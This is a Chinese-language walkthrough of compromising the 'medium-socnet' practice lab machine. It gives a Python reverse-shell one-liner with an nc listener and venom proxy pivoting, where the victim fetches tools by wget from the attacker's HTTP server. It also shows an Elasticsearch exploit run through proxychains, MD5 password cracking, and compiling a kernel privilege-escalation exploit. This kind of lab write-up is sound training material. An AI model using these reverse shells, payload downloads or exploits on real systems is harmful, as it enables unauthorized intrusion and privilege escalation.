medium-socnet
注意事项,此靶机需要再virtualbox上搭建,在VM上搭建,无法使用
一、主机发现
arp-scan是Kali自带的一款轻量级ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描(对于目标主机可以指定IP地址或主机名,可以是一个网段,指定一个地址方位,指定主机和子网掩码)
arp-scan -l |
二、namp端口扫描
2.1、扫描开放端口
nmap -sS -T4 -p1-65522 192.168.210.254 (扫描该服务有什么端口服务) |
2.2、扫描指定端口,及详细信息
nmap -sV -T4 -p22,5000 192.168.210.254 (查看端口服务的具体应用,什么服务,服务版本) |
2.3、访问靶机的web网页
三、对web网站进行目录扫描
3.1、使用dirsearch
dirsearch -u 192.168.210.254:5000 |
扫描出admin路径
3.2、访问目录路径
exec函数:exec函数详解-CSDN博客
3.3、根据前面收集的信息反弹shell
使用nmap扫描时,可以看到是由python语言写的,网上查找python反弹shell语句
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); |
3.4、在反弹shell之前,使用kali对端口号进行监听
nc -lvnp 5555 |
3.4.1、nc(netcat)瑞士军刀
nc命令用法举例 - nmap - 博客园 (cnblogs.com)
nc的作用
- 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
- 端口的扫描,nc可以作为client发起TCP或UDP连接
- 机器之间传输文件
- 机器之间网络测速
使用方式
1) -l 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。 |
四 、查看靶机内容
使用 ls 查看目录
4.1、因为有Dockerfile文件,查看是否是docker容器
方法一
ls /.dockerenv |
如果根下存在这个文件,说明是docker容器
方法二
cat /proc/1/cgroup 出现一下内容及证明是在docker容器内 |
理解:
入侵者攻击进入了你的虚拟机kail,而flag在物理机win10上,所以需要将kali当做跳板,进入win10拿到flag
4.2、查询同一网段的存活ip
4.2.1、查看ip
ip a |
4.2.2、查询网段内存活ip
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done |
五、内网穿透
5.1、内网流量代理
- 正向代理 (Forward Proxy) 通常应用在目标有防火墙或者不出网,我们能访问它的情况下:
Client -> proxy -> Target
- 反向代理 (Reverse Proxy) 通常应用在目标有防火墙或者不允许外界访问,但是它们能访问我们的情况下:
Client <--> proxy <--> firewall <--> Target
代理需要关注 Socks 协议,代理工具一般的版本支持
- SOCKS4: 支持TELNET、FTPHTTP等TCP协议
- SOCKS5: 支持TCP与UDP,并支持安全认证方案
代理工具
- 端口转发工具:NC, LCX, regGorg, venom, ngrock …
- 代理链工具:proxychains(Linux), proxifier(windows) …
5.2、内网穿透-venom
5.2.1、kali监听端口
./admin_linux_x64 -lport 9999 |
5.2.2、将客户端文件传送的到靶机上
使用python脚本将将攻击机80端口打开
在kali攻击机中:
python3 -m http.server 80 (开启http服务 ,在venom路径下发布http服务) |
5.2.3、受害机接受文件
内网受害机:
wegt http://ip/agent_l |
5.2.4、对程序授权使其运行
chmod +x agent_linux_x64 |
5.2.5、kali连接成功
show 查看有个节点已经连接上了 |
六、kali工具挂上代理
6.1.1SOCKS5代理
6.2、全局配置代理
vim /etc/proxychains4 |
6.3、浏览器配置代理
6.3.2、使用代理后访问靶机web页面
七、搜索相关漏洞
7.1.1、使用searchsploit搜素Elashticsearch
7.1.2、利用相关脚本
利用脚本文件路径:/usr/share/expoloitdb/exploits
拷贝到Venom路径下利用
cp /usr/share/expoloitdb/exploits/linux/remote/36337.py |
7.1.3、利用脚本
proxychains python2 36337.py 172.17.0.2 |
脚本报错退出运行
使用burpsuite
,挂上socks5代理,向Elasticsearch发起post请求,插入数据lupin
配置burpsuite
使用socks代理
配置浏览器使用burpsuite
代理
创建成功后,重新尝试执行命令:proxychains python2 36337.py 172.17.0.3
7.1.3.1、输入id ,ls等查看相关信息
7.1.3.2、发现password文件
7.1.3.3、查看password文件
cat passwords |
发现了账号和密码,只不过密码都是md5加密后的形式,我们可以复制这些值,然后去在线的md5解密网站来获取到明文密码
这里推荐几个常用的md5解密网站:
解密后挨个尝试登录,发现只有john用户可以登录,john的密码:1337hack
八、登录提权
ssh john |
8.1、提权
ssh连接上以后,发现不能使用sudo,权限不够,需要权限
使用 uname -a 发现linux内核版本为3.13
uname -a |
8.2、找出相关系统利用脚本
使用 searchspolit linux 3.13 找出脚本文件
searchsploit Linux 3.13.0 #搜索该内核版本的漏洞 |
cp /usr/share/exploitdb/exploits/linux/local/37292.c . #将exp复制到当前目录便于操作 |
建议放在Venom路径下
8.3、调试脚本
在Venom路径下
vim 37292.c |
删除下图部分,删除后保存
locate ofs-lib.so |
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so . |
编译3729.c 文件,报错正常现象
gcc -o exp 37292.c |
九、在靶机上下载脚本
exp和ofs-lib.so 文件需要在Venom文件夹里
wget http://攻击机ip/exp |
传输时确保攻击机的web服务和80端口开放
python3 -m http.server 80 #在kali上开启临时的http服务 |
9.1、传输成功后对程序进行授权
chmod +x exp #赋权 |
十、exp运行报错
如果出现下面错误,是你 kali 上编译时的 /lib/x86_64-linux-gnu/libc.so.6
动态库高于靶机的
解决方法是在靶机中使用 ldd --version
命令确定 ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19 然后去相关官网搜索 2.19-0ubuntu6
下载其对应版本的库文件,此靶机适用的版本 http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
下载解压,在其中的 /lib/x86_64-linux-gnu/libc.so.6 确认其存在,编译 C 时使用 gcc 参数 -Ldir
指定上面的 libc.so.6 的路径,
解决的编译命令:
gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6 |